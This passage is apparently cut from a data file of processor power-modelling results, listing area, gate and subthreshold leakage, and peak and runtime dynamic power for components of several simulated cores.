'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 2.27703e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.792423,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.37219,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.78699,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 2.9516,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.783274,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 6.44748,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 4.3018e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.028726,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.207726,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.212446,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.20773,
'Execution Unit/Register Files/Runtime Dynamic': 0.241172,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.501953,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.72195,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 5.52279,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00140634,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00140634,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
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'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000465454,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00305181,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00708006,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.013818,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.20423,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.444653,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.693657,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96874,
'Instruction Fetch Unit/Runtime Dynamic': 1.36344,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0572954,
'L2/Runtime Dynamic': 0.0391315,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
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'Load Store Unit/Data Cache/Peak Dynamic': 8.91832,
'Load Store Unit/Data Cache/Runtime Dynamic': 4.48309,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.248505,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.298297,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 10.0966,
'Load Store Unit/Runtime Dynamic': 6.25249,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.612772,
'Load Store Unit/StoreQ/Runtime Dynamic': 1.4711,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
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'Memory Management Unit/Peak Dynamic': 0.934466,
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'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
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'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.50469e-05,
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'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
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'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
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'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.434232,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.474767,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 13.9874,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
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'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
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'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Floating Point Units/Peak Dynamic': 1.51802e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.477086,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.769523,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.388429,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.63504,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.545647,
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'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.89105,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 2.86787e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0200111,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.144707,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.147995,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.14471,
'Execution Unit/Register Files/Runtime Dynamic': 0.168006,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.304858,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.04584,
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'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 3.45695,
'Execution Unit/Subthreshold Leakage': 1.79543,
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'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00099059,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00099059,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000859345,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000330776,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00212596,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00496648,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00962121,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.142271,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.309736,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.483217,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96396,
'Instruction Fetch Unit/Runtime Dynamic': 0.949811,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.039895,
'L2/Runtime Dynamic': 0.0272317,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 7.66042,
'Load Store Unit/Data Cache/Runtime Dynamic': 3.12314,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.207809,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.207809,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 8.64174,
'Load Store Unit/Runtime Dynamic': 4.3558,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.512422,
'Load Store Unit/StoreQ/Runtime Dynamic': 1.02484,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
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'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
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'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Memory Management Unit/Peak Dynamic': 0.868507,
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'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 26.9946,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
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'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 7.84934e-06,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
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'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
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'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
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'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.276431,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 9.29946,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
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'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
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'Execution Unit/Complex ALUs/Peak Dynamic': 1.88938e-06,
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'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Floating Point Units/Peak Dynamic': 1.26502e-05,
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'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.471792,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.760982,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.384118,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.61689,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
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'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.539591,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.87919,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 2.38989e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0197891,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.1431,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.146352,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.143103,
'Execution Unit/Register Files/Runtime Dynamic': 0.166141,
